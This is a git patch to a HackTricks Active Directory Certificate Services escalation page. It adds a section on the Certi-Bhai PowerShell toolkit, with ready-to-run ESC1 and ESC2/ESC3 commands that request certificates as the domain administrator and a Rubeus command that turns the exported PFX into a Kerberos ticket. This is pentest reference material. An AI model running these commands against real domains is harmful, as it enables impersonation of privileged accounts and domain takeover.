From 7b93f2d72361ea1066430521abc5205598bb8101 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Tue, 1 Sep 2026 11:14:44 +0000 Subject: [PATCH] Add content from: Certi-Bhai: AD CS Exploitation Toolkit --- .../ad-certificates/domain-escalation.md | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index fcd7c841059..6182521b45f 100644 --- a/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/src/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -145,6 +145,26 @@ The **users** who are allowed to **obtain** an **enrollment agent certificate**, However, it is noted that the **default** setting for CAs is to “**Do not restrict enrollment agents**.” When the restriction on enrollment agents is enabled by administrators, setting it to “Restrict enrollment agents,” the default configuration remains extremely permissive. It allows **Everyone** access to enroll in all templates as anyone. +### Windows-only PowerShell PoCs with Certi-Bhai + +[**Certi-Bhai**](https://github.com/incredibleindishell/Certi-Bhai) exercises ESC1 and ESC2/ESC3 without Certify or Certipy. Its scripts create an exportable 2048-bit RSA key with the `X509Enrollment` COM API, build a PKCS#10 request, discover the first `pKIEnrollmentService` through LDAP, submit it through `CertificateAuthority.Request`, install the response in `Cert:\CurrentUser\My`, and export a Base64-encoded PFX. The ESC1 script adds an attacker-selected UPN SAN (`XCN_CERT_ALT_NAME_USER_PRINCIPLE_NAME`, value `0xb`), whereas the ESC2/ESC3 scripts use the first certificate to sign a PKCS#7 on-behalf-of request.[[17]](#references) + +```powershell +# ESC1: supply the identity in the subject and UPN SAN +.\ESC1\esc1.ps1 -subjectName "CN=Administrator,CN=Users,DC=corp,DC=local" ` + -altName "administrator@corp.local" -templateName "VulnESC1" -pfxPass "PfxPass!" + +# ESC2/ESC3: obtain an agent-capable certificate, then enroll for the target +.\ESC3\esc3_working.ps1 -templateName "VulnEnrollmentAgent" ` + -target_user "administrator" -domain "CORP" -pfxPass "PfxPass!" +``` + +The scripts print the Base64 of the **PFX**, which includes the private key, for direct use with Rubeus. Do not replace it with `[Convert]::ToBase64String($cert.RawData)`: `RawData` encodes only the public certificate and cannot sign the PKINIT request.[[5]](#references)[[17]](#references) + +```powershell +Rubeus.exe asktgt /user:administrator /certificate: /password:PfxPass! /nowrap +``` + ## Vulnerable Certificate Template Access Control - ESC4 ### **Explanation** @@ -1095,5 +1115,6 @@ Both scenarios lead to an **increase in the attack surface** from one forest to - [14] [Certipy Wiki – Privilege Escalation (ESC1-ESC17)](https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation) - [15] [TrustedSec – EKUwu: Not Just Another AD CS ESC](https://trustedsec.com/blog/ekuwu-not-just-another-ad-cs-esc) - [16] [Furious5 – AD CS ESC16: Misconfiguration and Exploitation](https://medium.com/@muneebnawaz3849/ad-cs-esc16-misconfiguration-and-exploitation-9264e022a8c6) +- [17] [incredibleindishell/Certi-Bhai – AD CS PowerShell exploitation toolkit](https://github.com/incredibleindishell/Certi-Bhai) {{#include ../../../banners/hacktricks-training.md}}